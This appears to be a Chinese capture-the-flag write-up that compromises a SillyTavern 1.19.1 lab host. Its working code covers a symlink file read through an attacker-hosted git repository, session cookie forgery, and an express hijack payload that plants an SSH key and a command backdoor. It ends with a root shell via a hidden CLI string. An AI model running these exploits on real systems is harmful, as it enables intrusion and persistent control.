来源:MazeSec

靶机ID:839

难度:Easy

靶机作者:II104567

宿主:192.168.205.128

靶机:192.168.205.138

辅助AI:deepseek-v4.1-flash

修订于 2026-11-29

Flag

Flag 值 位置
user flag{user-82a8a56c792bb93bd11a6021a5ab1aeb} /home/laoye/user.txt
root flag{root-a211c8bb3773ff5f732001d9edd554e9} /root/root.txt

攻击链

192.168.205.138:8000
│
├─ guest:guest 登录
│
├─ 扩展符号链接 → 任意文件读取
│    ├─ 安装恶意 git 仓库:manifest.json + loot -> /
│    ├─ GET /scripts/extensions/third-party/loot/loot/<绝对路径>
│    ├─ 读 /home/laoye/user.txt                         → user flag
│    ├─ 读 /opt/sillytavern/data/cookie-secret.txt
│    └─ 读 /opt/sillytavern/data/_storage/<sha256>.json  → 用户记录
│
├─ 会话伪造
│    ├─ cookie 名 = session- + sha256(hostname)[:8] = session-cb238915
│    ├─ keygrip:HMAC-SHA1(secret, "name=value"),base64url 去 =
│    ├─ 伪造 handle=default-user(admin:true)
│    └─ POST /api/users/create 造全新用户 pk,再登录取它自己的会话
│
├─ 启动迁移任意 .json 写 → RCE
│    ├─ BYAF 导入把第二阶段载荷写到 data/pk/characters/pocx/x (1).mjs
│    ├─ 以 pk 会话 /api/presets/save 注入 name=../../../../node_modules/express/package
│    ├─ 重启 #1:migrateSystemPrompts 覆盖 express/package.json
│    ├─ 重启 #2:import express 加载该载荷 → uid=1000(laoye)
│    └─ 载荷装 SSH key、还原 express、服务继续正常
│
└─ 7066 root CLI 隐藏分支
     ├─ cli7066.service:User=root,ExecStart=/opt/cli7066
     ├─ 逆向:输入长度 == 16 时进入 XOR + memcmp 分支
     ├─ magic = "laoyelaoyeyeyeye"
     └─ fork + execl("/bin/bash","bash","-i") → root shell → root flag

一、信息收集

1.1 端口与服务

先做全端口扫描,避免漏掉 Web 之外的服务:

nmap -n -Pn -p- --min-rate 3000 -T4 192.168.205.138 -oN nmap_138.txt
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-29 14:27 +0800
Nmap scan report for 192.168.205.138
Host is up (0.00044s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
7066/tcp open  unknown
8000/tcp open  http-alt
MAC Address: 08:00:27:C9:FF:1F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds

只有三个 TCP 端口。接着做服务识别:

nmap -n -Pn -p22,7066,8000 -sV -sC --version-light 192.168.205.138 -oN nmap_sv_138.txt
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
7066/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, GetRequest, SSLSessionReq, TLSSessionReq: 
|     ========= SillyTavern Support CLI =========
|     1. uptime
|     2. restart web service
|     3. exit
|     ===========================================
8000/tcp open  http-alt?
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Did not follow redirect to /login
|   GetRequest: 
|     HTTP/1.1 302 Found
|     Location: /login
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Found. Redirecting to /login
MAC Address: 08:00:27:C9:FF:1F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

三个端口的分工很明确:

入口是 Web 8000,所以先从 Web 侧拿 foothold

curl -sS -o /dev/null -w '%{http_code}\n' http://192.168.205.138:8000/
# 302 -> /login

curl -sS http://192.168.205.138:8000/login | head
# SillyTavern 登录页

/version 在未登录时会返回 403:

curl -sS -o /dev/null -w 'HTTP %{http_code}\n' http://192.168.205.138:8000/version
# HTTP 403

1.2 登录 guest

B=http://192.168.205.138:8000
CJ=/tmp/cj138
T=$(curl -sS -c $CJ $B/csrf-token | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')

curl -sS -b $CJ -c $CJ \
  -H 'Content-Type: application/json' \
  -H "X-CSRF-Token: $T" \
  -d '{"handle":"guest","password":"guest"}' \
  $B/api/users/login
# {"handle":"guest"}

/api/users/me 返回:

{"handle":"guest","name":"guest","admin":false,"password":true,"created":1795920889108}

guest 不是管理员,但已经足够安装用户级扩展。

拿到 session 后,/version 就可以正常读取,直接坐实版本:

curl -sS -b $CJ http://192.168.205.138:8000/version
{"agent":"SillyTavern:1.19.1:Cohee#1207","pkgVersion":"1.19.1","gitRevision":null,"gitBranch":null,"commitDate":null,"isLatest":true}

1.3 7066 Support CLI 初步探测

nmap -sC 已经把菜单打印出来了,手动连一下确认行为:

printf '1\n' | nc -q 4 192.168.205.138 7066
========= SillyTavern Support CLI =========
 1. uptime
 2. restart web service
 3. exit
===========================================
> 
 01:38:12 up 40 min,  0 users,  load average: 0.00, 0.01, 0.13

输入是严格整数匹配,不是拼接 shell 命令:

printf '1;id\n'     | nc -q 4 192.168.205.138 7066   # invalid option
printf '$(id)\n'    | nc -q 4 192.168.205.138 7066   # invalid option
printf '`id`\n'     | nc -q 4 192.168.205.138 7066   # invalid option

当前只能确认:它至少能重启 Web 服务


二、扩展符号链接 → 任意文件读取

2.1 漏洞点

src/endpoints/extensions.js 的 /api/extensions/install 只校验 URL 协议,然后 git clone 到:

data/<handle>/extensions/<repo-name>

src/users.js 的扩展静态路由:

function createExtensionsRouteHandler(directoryFn) {
    return async (req, res) => {
        const directory = directoryFn(req);
        const filePath = decodeURIComponent(req.params[0]);
        const localPath = path.join(directory, filePath);
        if (!isPathUnderParent(directory, path.resolve(localPath))) {
            return res.sendStatus(403);
        }
        if (fs.existsSync(localPath)) {
            return res.sendFile(filePath, { root: directory });
        }
        ...
    };
}

问题在于:

  1. path.join / path.resolve 只做字符串归一化,不解析软链接;
  2. isPathUnderParent 只比较字符串前缀,不调用 realpath;
  3. res.sendFile 默认跟随软链接。

所以只要仓库里有一个 loot -> / 的软链接,访问:

/scripts/extensions/third-party/loot/loot/<绝对路径去掉开头的 />

就能以 laoye 权限读取任意文件。

补充配置背景:enableServerPlugins: false,server plugin RCE 路径不可用,只能走第四章的覆盖写;privateAddressWhitelist.enabled: false,install 接口不校验 git 地址的内网可达性,等同一个可主动出站的 SSRF;extensions.autoUpdate: true,后续可通过更新再次拉取。

2.2 构造恶意仓库

在攻击机 192.168.205.128 上:

mkdir -p /tmp/loot
cd /tmp/loot

cat > manifest.json <<'EOF'
{"display_name":"loot","version":"1.0.0","author":"poc","js":"index.js","css":""}
EOF
: > index.js
ln -sfn / loot

git init -q
git config user.email a@b.c
git config user.name poc
git add -A
git commit -qm init

git clone -q --bare /tmp/loot /tmp/gitroot/loot.git

仓库树:

100644 index.js
120000 loot -> /
100644 manifest.json

2.3 启动 smart HTTP git 服务

#!/usr/bin/env python3
# /tmp/gitsrv.py
import os, subprocess
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

ROOT = '/tmp/gitroot'

class H(BaseHTTPRequestHandler):
    def do(self):
        path, _, query = self.path.partition('?')
        env = {
            'GIT_PROJECT_ROOT': ROOT,
            'GIT_HTTP_EXPORT_ALL': '1',
            'PATH_INFO': path,
            'QUERY_STRING': query,
            'REQUEST_METHOD': self.command,
            'CONTENT_TYPE': self.headers.get('Content-Type', ''),
            'REMOTE_USER': 'anon',
            'REMOTE_ADDR': self.client_address[0],
        }
        n = int(self.headers.get('Content-Length') or 0)
        body = self.rfile.read(n) if n else b''
        p = subprocess.run(['git', 'http-backend'], input=body, env=env, capture_output=True)
        head, _, data = p.stdout.partition(b'\r\n\r\n')
        self.send_response(200)
        for line in head.split(b'\r\n'):
            if b':' in line:
                k, v = line.split(b':', 1)
                self.send_header(k.decode(), v.strip().decode())
        self.end_headers()
        self.wfile.write(data)

    do_GET = do_POST = do
    def log_message(self, fmt, *a):
        open('/tmp/gitsrv.log', 'a').write('%s %s\n' % (self.client_address[0], fmt % a))

ThreadingHTTPServer(('0.0.0.0', 8082), H).serve_forever()

启动:

nohup python3 /tmp/gitsrv.py >/tmp/gitsrv.out 2>&1 &
curl -sS -o /dev/null -w '%{http_code}\n' \
  'http://192.168.205.128:8082/loot.git/info/refs?service=git-upload-pack'
# 200

2.4 安装扩展

B=http://192.168.205.138:8000
CJ=/tmp/cj138
T=$(curl -sS -b $CJ -c $CJ $B/csrf-token | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')

curl -sS -b $CJ -c $CJ \
  -H 'Content-Type: application/json' \
  -H "X-CSRF-Token: $T" \
  -d '{"url":"http://192.168.205.128:8082/loot.git"}' \
  $B/api/extensions/install

响应:

{"version":"1.0.0","author":"poc","display_name":"loot","extensionPath":"data/guest/extensions/loot","folderName":"loot"}

2.5 读取文件

P='/scripts/extensions/third-party/loot/loot'

curl -sS -b $CJ "$B$P/etc/passwd"
curl -sS -b $CJ "$B$P/home/laoye/user.txt"
curl -sS -b $CJ "$B$P/etc/systemd/system/sillytavern.service"
curl -sS -b $CJ "$B$P/opt/sillytavern/config.yaml"

user flag:

flag{user-82a8a56c792bb93bd11a6021a5ab1aeb}

这一步同时确认了:


三、会话伪造:从 guest 到 admin

3.1 读 cookie secret

curl -sS -b $CJ -o /tmp/cookie_secret "$B$P/opt/sillytavern/data/cookie-secret.txt"

返回 88 字节 base64 字符串(crypto.randomBytes(64).toString('base64')),保存为 /tmp/cookie_secret。SillyTavern 使用 cookie-session:

app.use(cookieSession({
    name: getCookieSessionName(),
    httpOnly: true,
    secret: getCookieSecret(globalThis.DATA_ROOT),
}));

cookie 名由 hostname 推导:

const suffix = crypto.createHash('sha256').update(os.hostname()).digest('hex').slice(0, 8);
return `session-${suffix}`;

目标 hostname 是 SillyTavern2:

python3 -c "import hashlib;print(hashlib.sha256(b'SillyTavern2').hexdigest()[:8])"
# cb238915

所以 cookie 名是 session-cb238915。

cookie-session 使用 cookies + keygrip 签名,格式为:

Cookie: session-<suffix>=<base64(JSON)>
Cookie: session-<suffix>.sig=<HMAC-SHA1(secret, name + "=" + value) 的 base64url>

keygrip 的算法是:

crypto.createHmac('sha1', secret)
      .update(`${name}=${value}`)
      .digest('base64')
      .replace(/\/|\+|=/g, x => ({'/':'_','+':'-','=':''}[x]))

3.2 读用户记录

node-persist 把 key 做 SHA-256 后落盘:

/opt/sillytavern/data/_storage/<sha256(key)>

用户 key 是 user:<handle>。计算:

python3 - <<'PY'
import hashlib
for k in ['user:default-user','user:laoye','user:guest']:
    print(k, hashlib.sha256(k.encode()).hexdigest())
PY

读 user:default-user:

curl -sS -b $CJ \
  "$B$P/opt/sillytavern/data/_storage/3a5bb37ab86ac047d8ef481ee2e7bd3683d694ff8502a7cfe6951af849015dcc"

返回:

{"key":"user:default-user","value":{"handle":"default-user","name":"User","created":1795920889075,"password":"8/LZ...","salt":"A7D2...","admin":true,"enabled":true}}

default-user 是 admin:true。

3.3 为什么不需要破解密码

setUserDataMiddleware 的逻辑:

if (Object.hasOwn(request.session, 'version')) {
    if (request.session.version !== getAccountVersion(user)) {
        // 失效
    }
} else {
    // 旧 session,自动补 version
    request.session.version = getAccountVersion(user);
}

伪造 session 时不写 version 字段,服务端会自己用存储里的 password / salt 算出来补上,所以完全不需要知道管理员密码。

3.4 伪造脚本

#!/usr/bin/env python3
import hmac, hashlib, base64, json

secret = open('/tmp/cookie_secret').read().strip()
name = 'session-cb238915'

payload = {'csrfToken': 'forged0001', 'handle': 'default-user'}
value = base64.b64encode(json.dumps(payload).encode()).decode().rstrip('=')

sig = base64.b64encode(
    hmac.new(secret.encode(), f'{name}={value}'.encode(), hashlib.sha1).digest()
).decode().replace('/', '_').replace('+', '-').replace('=', '')

print(f'{name}={value}; {name}.sig={sig}')

验证:

CK=$(python3 /tmp/forge.py)
curl -sS -H "Cookie: $CK" $B/api/users/me
{"handle":"default-user","name":"User","admin":true,"password":true,"created":1795920889075}

3.5 创建全新用户

用伪造的 admin cookie + 任意 CSRF token(csrf-sync 直接取 session 里的 csrfToken)创建用户:

curl -sS -H "Cookie: $CK" \
  -H 'Content-Type: application/json' \
  -H 'X-CSRF-Token: forged0001' \
  -d '{"handle":"pk","name":"pk","password":"Pwn!12345","admin":false}' \
  $B/api/users/create
# {"handle":"pk"}

pk 在服务运行期间创建,data/pk/sysprompt/ 下没有 .migrated 标记,满足迁移触发条件。

该标记无法用第二节的通道验证:res.sendFile 屏蔽以点开头的路径段,default-user、guest 实际存在 .migrated,请求同样返回 404。只能以 express/package.json 是否被覆盖作为结果判据。

创建后登录取该用户自己的会话,第四章统一使用该 jar:

CJP=/tmp/cj138pk
Tp=$(curl -sS -c $CJP $B/csrf-token | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')

curl -sS -b $CJP -c $CJP \
  -H 'Content-Type: application/json' \
  -H "X-CSRF-Token: $Tp" \
  -d '{"handle":"pk","password":"Pwn!12345"}' \
  $B/api/users/login
# {"handle":"pk"}

四、启动迁移任意 .json 写 → RCE

4.1 代码路径

src/users.js 的 migrateSystemPrompts():

const migrateMarker = path.join(directory.sysprompt, '.migrated');
if (fs.existsSync(migrateMarker)) {
    continue;
}

const backupsPath = path.join(directory.backups, '_sysprompt');
const instucts = fs.readdirSync(directory.instruct);

for (const instruct of instucts) {
    const instructPath = path.join(directory.instruct, instruct);
    const sysPromptPath = path.join(directory.sysprompt, instruct);
    if (path.extname(instruct) === '.json' && !fs.existsSync(sysPromptPath)) {
        const instructData = JSON.parse(fs.readFileSync(instructPath, 'utf8'));
        if ('system_prompt' in instructData && 'name' in instructData) {
            const backupPath = path.join(backupsPath, `${instructData.name}.json`);
            fs.cpSync(instructPath, backupPath, { force: true });
            ...
        }
    }
}

instructData.name 来自 /api/presets/save 保存的 preset 内容,preset 文件名被 sanitize,但内容里的 name 没有。

文件名同样受约束:!fs.existsSync(sysPromptPath) 要求 sysprompt/ 下不存在同名文件,preset 存为 instruct/mig.json 对应检查 sysprompt/mig.json。因此 preset 名不能与 Blank、ChatML 等默认 sysprompt 重名,重名则该项被跳过。

4.2 一个关键细节:空 system_prompt

如果直接写:

{"name":"../../../../node_modules/express/package","system_prompt":"x","main":"../../data/pk/characters/pocx/x (1).mjs"}

迁移的后半段还会执行:

sysPromptData.name = `[Migrated] ${sysPromptData.name}`;
const syspromptPath = path.join(directory.sysprompt, `${sysPromptData.name}.json`);
writeFileAtomicSync(syspromptPath, JSON.stringify(sysPromptData, null, 4));

以目标路径为例,两个 path.join 的实际结果并不相同:

backup:    /opt/sillytavern/node_modules/express/package.json
sysprompt: /opt/sillytavern/data/node_modules/express/package.json

sysprompt 那次多出了一层 data/,而 /opt/sillytavern/data/node_modules 这个父目录并不存在,所以 writeFileAtomicSync 会抛 ENOENT,错误被外层 try/catch 捕获;此时 backup 早就写完了,恶意 package.json 仍然保留。

不过为了让迁移流程更可控(也避免依赖“父目录不存在”这个偶然条件),我们把 system_prompt 设为空字符串。'system_prompt' in instructData 仍然为真,但:

migratedPrompts = migratedPrompts.filter(x =>
    !defaultPrompts.some(y => y.content === x.content)
);

默认 sysprompt/Blank.json 的 content 是空串,该迁移项被过滤掉,sysprompt 写入不会发生,恶意 package.json 完整保留。

留空的另一层作用:migratedPrompts 为空数组,循环体不执行,第 484 行 writeFileAtomicSync(migrateMarker, '') 正常执行,.migrated 落盘。因此同一用户只有一次迁移机会,需要复用则再建新用户。若保留非空 system_prompt 走 ENOENT 分支,异常从循环体内抛出,marker 写入同样被跳过,行为不可控。

4.3 写第二阶段载荷:BYAF 任意扩展名

本节和 4.4 全部使用 3.5 取得的 pk 会话 $CJP / $Tp。guest 会话的数据落在 data/guest/ 下,该目录已存在 .migrated,迁移不会执行。

/api/characters/import 的 byaf 分支会把 ZIP 里第二张及以后的图片按 icon.filename 的扩展名写到 characters/<card.name>/,文件名来自 icon.label:

const extension = path.extname(icon.filename) || '.png';
const file = getUniqueName(`${sanitize(icon.label) || 'alt'}`, ...);
writeFileAtomicSync(path.join(altImagesFolder, `${file}${extension}`), icon.image);

getUniqueName 默认 startIndex: 1,所以第一次写入的文件名是 x (1).mjs,不是 x.mjs。

构造 BYAF:

manifest.json
chars/card.json
chars/avatar.png
chars/x.mjs

manifest.json:

{"characters":["chars/card.json"],"scenarios":[],"author":{}}

chars/card.json:

{"name":"pocx","displayName":"pocx","persona":"x","images":[{"path":"avatar.png","label":"main"},{"path":"x.mjs","label":"x"}]}

打包并上传:

cd /tmp/stlab/payload && python3 - <<'PY'
import zipfile, os
with zipfile.ZipFile('/tmp/stlab/payload/poc.byaf', 'w', zipfile.ZIP_DEFLATED) as z:
    for root, _, files in os.walk('/tmp/stlab/payload'):
        for f in files:
            if f == 'poc.byaf':
                continue
            p = os.path.join(root, f)
            z.write(p, os.path.relpath(p, '/tmp/stlab/payload'))
PY

curl -sS -b $CJP -c $CJP \
  -H "X-CSRF-Token: $Tp" \
  -F "avatar=@/tmp/stlab/payload/poc.byaf" \
  -F "file_type=byaf" \
  $B/api/characters/import
# {"file_name":"pocx"}

验证:

curl -sS -b $CJP -o /dev/null -w '%{http_code}\n' \
  "$B/characters/pocx/x%20(1).mjs"
# 200

4.4 保存恶意 instruct preset

python3 - <<'PY'
import json
p = {
    "apiId": "instruct",
    "name": "mig",
    "preset": {
        "name": "../../../../node_modules/express/package",
        "system_prompt": "",
        "main": "../../data/pk/characters/pocx/x (1).mjs"
    }
}
open('/tmp/stlab/payload/preset.json', 'w').write(json.dumps(p))
PY

curl -sS -b $CJP -c $CJP \
  -H 'Content-Type: application/json' \
  -H "X-CSRF-Token: $Tp" \
  --data-binary @/tmp/stlab/payload/preset.json \
  $B/api/presets/save
# {"name":"mig"}

落盘位置:

/opt/sillytavern/data/pk/instruct/mig.json

preset 中不写 "type": "module":main 指向 .mjs,扩展名已决定按 ESM 加载,type 字段多余且会引入 4.5 所述的加载失败问题。

4.5 两次重启

7066 是 root 运行的 support CLI,菜单第 2 项执行:

/bin/systemctl restart sillytavern
printf '2\n' | nc -q 5 192.168.205.138 7066

第一次重启

migrateSystemPrompts() 在启动流程中运行,把:

/opt/sillytavern/node_modules/express/package.json

覆盖成:

{
  "name": "../../../../node_modules/express/package",
  "system_prompt": "",
  "main": "../../data/pk/characters/pocx/x (1).mjs"
}

注意:此时 Node 进程在模块加载阶段已经 import express 过了,所以第一次重启只是「改文件」,不会执行载荷。

这也是 4.4 的 preset 不能带 "type": "module" 的原因。Node 会缓存包目录的 type 解析结果,缓存在进程生命周期内有效,事后改写磁盘上的 package.json 不会使其失效。fake package.json 带 type: module 时,express/ 整个目录在本进程内被判定为 ESM,载荷中任何加载真实 express 的尝试都会失败:

A critical error has occurred while starting the server:
ReferenceError: module is not defined in ES module scope
    at file:///opt/sillytavern/node_modules/express/index.js:11:1
    at loadESMFromCJS (node:internal/modules/cjs/loader:1371:24)

模块加载期抛出异常导致本次启动失败,进程退出,sillytavern.service 的 Restart=always + RestartSec=3 在三秒后重新拉起。新进程读到的已是载荷崩溃前还原好的 package.json,加载的是真实 express:载荷的一次性副作用(SSH key、取证文件)已生效,但包装出的 express 与注册的路由随旧进程一并丢失。不带 type: module 时 express/ 始终按 CJS 解析,载荷可在同一进程内 require 真实 express 并完成导出,服务不重启、不中断。

用前面的任意文件读取可以直接确认文件已被覆盖:

curl -sS -b $CJ "$B$P/opt/sillytavern/node_modules/express/package.json"

第二次重启

第二次启动时,server-main.js 顶部的:

import express from 'express';

会按被篡改的 package.json 的 main 加载:

/opt/sillytavern/data/pk/characters/pocx/x (1).mjs

第二阶段载荷以 uid=1000(laoye) 执行。

4.6 第二阶段载荷

核心逻辑:

import fs from 'node:fs';
import { createRequire } from 'node:module';

// 原始 express/package.json 的全文,还原时原样写回
const ORIG = { "name": "express", "version": "4.22.1", "main": "index.js", /* … 完整内容,见下 … */ };
const PUB = 'ssh-ed25519 AAAA… attacker key\n';

const req = createRequire(import.meta.url);
const { execSync } = req('node:child_process');
const sh = c => {
    try { return execSync(c + ' 2>&1', { encoding: 'utf8', timeout: 20000 }).trim(); }
    catch (e) {
        const t = ((e.stdout || '') + (e.stderr || '')).trim();
        return t ? 'ERR ' + t : 'ERR ' + e.message;   // sudo -n -l 这类非零退出要留下原因
    }
};

// 1. 安装 SSH key
fs.mkdirSync('/home/laoye/.ssh', { recursive: true });
fs.chmodSync('/home/laoye/.ssh', 0o700);
fs.appendFileSync('/home/laoye/.ssh/authorized_keys', PUB);
fs.chmodSync('/home/laoye/.ssh/authorized_keys', 0o600);

// 2. 取证 / 读 flag。要落在 public/ 下,server-main.js:242 只 static 了这一个目录
fs.writeFileSync('/opt/sillytavern/public/pwned.txt', [
    '===== ssh =====\ninstalled',
    '===== id =====\n' + sh('id'),
    '===== user.txt =====\n' + sh('cat /home/laoye/user.txt'),
    '===== sudo =====\n' + sh('sudo -n -l'),
    '===== units =====\n' + sh('ls -la /etc/systemd/system/'),
].join('\n\n'));

// 3. 还原 package.json,再按 CJS 把真 express 加载回来
fs.writeFileSync(
    '/opt/sillytavern/node_modules/express/package.json',
    JSON.stringify(ORIG, null, 2) + '\n'
);
const real = req('/opt/sillytavern/node_modules/express/index.js');

// 4. 包一层重新导出,保证应用照常启动
const wrap = (...a) => {
    const app = real(...a);
    app.get('/__x', (req, res) => res.type('txt').send(sh(String(req.query.c || 'id'))));
    return app;
};
Object.assign(wrap, real);   // static / json / urlencoded 这些属性也得带上

export default wrap;
export const Router = real.Router;   // azure.js、volcengine.js 用的是命名导入

几个实现点:

执行后读取:

curl -sS http://192.168.205.138:8000/pwned.txt
curl -sS 'http://192.168.205.138:8000/__x?c=id'   # 免鉴权

关键输出:

===== ssh =====
installed

===== id =====
uid=1000(laoye) gid=1000(laoye) groups=1000(laoye)

===== user.txt =====
flag{user-82a8a56c792bb93bd11a6021a5ab1aeb}

===== sudo =====
ERR sudo: a password is required

===== units =====
-rw-r--r-- 1 root root  190 Nov 28 22:43 cli7066.service
-rw-r--r-- 1 root root  236 Nov 28 21:55 sillytavern.service

同时 systemctl show sillytavern -p NRestarts 为 0,journalctl -u sillytavern 无额外退出记录,即 4.5 所述不带 type: module 的不中断表现;带该字段时会多出一条 ReferenceError: module is not defined in ES module scope 和一次自动重启。

laoye 不在 sudo 组,sudo -n -l 要求密码,所以不能直接提权;但 SSH key 已经写入,可以稳定登录:

ssh -i /tmp/sshkey -o StrictHostKeyChecking=no laoye@192.168.205.138

五、root:7066 CLI 的隐藏分支

5.1 发现

取证输出 units 段中的相关条目:

-rw-r--r-- 1 root root 190 Nov 28 22:43 cli7066.service
[Unit]
Description=CLI Support 7066
After=network.target

[Service]
Type=simple
User=root
Group=root
ExecStart=/opt/cli7066
Restart=always
RestartSec=2

[Install]
WantedBy=multi-user.target

/opt/cli7066 权限为 -rwxr-xr-x root root,静态链接 ELF。该 unit 文件与该二进制均可通过第二节的任意文件读直接获取,无需命令执行;scp 取回与通道取回字节一致。

scp -q -i /tmp/sshkey -o StrictHostKeyChecking=no \
  laoye@192.168.205.138:/opt/cli7066 /tmp/cli7066

file /tmp/cli7066
# ELF 64-bit LSB executable, x86-64, statically linked, stripped

rabin2 -I /tmp/cli7066 | head -20
arch     x86
baddr    0x400000
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Debian 16.2.0-3) 16.2.0
lang     c
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false

canary false + pic false + 静态链接,且 recv 固定收取 0x7f 字节到 [rsp+0x20] 起的缓冲区,存在栈溢出条件,但无需利用:magic 明文存于 .rodata。先看字符串:三个菜单项背后分别是 /usr/bin/uptime、/bin/systemctl restart sillytavern,但同时还出现了 /bin/bash 和 -i,而菜单里没有这个选项:

strings -a /tmp/cli7066 | grep -iE 'systemctl|uptime|/bin/(sh|bash)|^-[ic]$'
# /bin/systemctl restart sillytavern
# /usr/bin/uptime
# /bin/bash
# /bin/sh

这就是隐藏功能的线索。菜单表面上只有三个选项:

1. uptime
2. restart web service
3. exit

但反汇编 fcn.00401980(菜单主循环)可以发现一个只有输入长度恰好等于 16 才进入的隐藏分支。先用 r2 定位菜单字符串的交叉引用:

rabin2 -z /tmp/cli7066 | grep -E "invalid option|/usr/bin/uptime|systemctl restart"
# 305 0x000808a9 0x004808a9 ... \ninvalid option\n
# 301 0x0008086a 0x0048086a ... /usr/bin/uptime
#   1 0x0007d098 0x0047d098 ... /bin/systemctl restart sillytavern

r2 -q -e scr.color=0 -c 'aaa; axt 0x4808a9' /tmp/cli7066
# fcn.00401980 0x401c51 [STRN:r--] lea rsi, str._ninvalid_option_n

r2 -q -e scr.color=0 -c 'pd 130 @ 0x401a00' /tmp/cli7066

rabin2 -z 第二列为文件偏移,第三列为虚拟地址,axt 需使用虚拟地址(baddr 为 0x400000,0x000808a9 对应 0x4808a9)。

关键片段:

0x4019a8:  mov   edx, 0x7f
0x4019dd:  call  0x420ff0             ; recv(fd, buf, 0x7f, 0)
...
0x401a00:  cmp   cl, 0xd / cmp cl, 0xa  ; 手动剥掉 CR/LF
0x401a27:  call  0x4010b8             ; strlen
0x401a2c:  cmp   rax, 0x10
0x401a30:  je    0x401a9b             ; 隐藏分支

0x401a9b:
0x401aab:  lea   rcx, [0x482ab0]      ; 16 字节密文
0x401ac0:  movzx edx, byte [0x4a90d0] ; 0x5a
           ; for i in 0..15: dst[i] = src[i] ^ 0x5a
0x401ad9:  mov   edx, 0x10
0x401ae6:  call  0x401070             ; memcmp
0x401aed:  jne   0x401d2f             ; 不等 -> invalid option
0x401afe:  call  0x4211e0             ; fork
           ; 子进程:
0x401db6:  lea   rdi, [0x480851]      ; "/bin/bash"
0x401dbf:  lea   rdx, [0x48084e]      ; "-i"
0x401ded:  call  0x41d300             ; execl("/bin/bash", "bash", "-i", NULL)

密文:

36 3b 35 23 3f 36 3b 35 23 3f 23 3f 23 3f 23 3f

XOR 0x5a:

6c 61 6f 79 65 6c 61 6f 79 65 79 65 79 65 79 65
l  a  o  y  e  l  a  o  y  e  y  e  y  e  y  e

即:

laoyelaoyeyeyeye

这一段可以直接在本地验证,不需要碰靶机:

python3 -c "b=bytes.fromhex('363b35233f363b35233f233f233f233f');print(bytes(x^0x5a for x in b).decode())"
# laoyelaoyeyeyeye

顺带核对长度判断:strlen 比较的是 16,magic 刚好 16 字节,所以只有「长度正好 16 且内容完全匹配」才会进分支。任何多余字符(包括多余空格)都会走 invalid option。

5.2 拿 root shell

import socket, time

s = socket.create_connection(('192.168.205.138', 7066), 8)
s.recv(4096)
s.sendall(b'laoyelaoyeyeyeye\n')
time.sleep(0.8)
print(s.recv(4096))          # root@SillyTavern2:/#

s.sendall(b'id; cat /root/root.txt; ls -la /root\n')
time.sleep(1)
print(s.recv(65536).decode())

输出:

root@SillyTavern2:/# id
uid=0(root) gid=0(root) groups=0(root)

root@SillyTavern2:/# cat /root/root.txt
flag{root-a211c8bb3773ff5f732001d9edd554e9}

root flag 到手。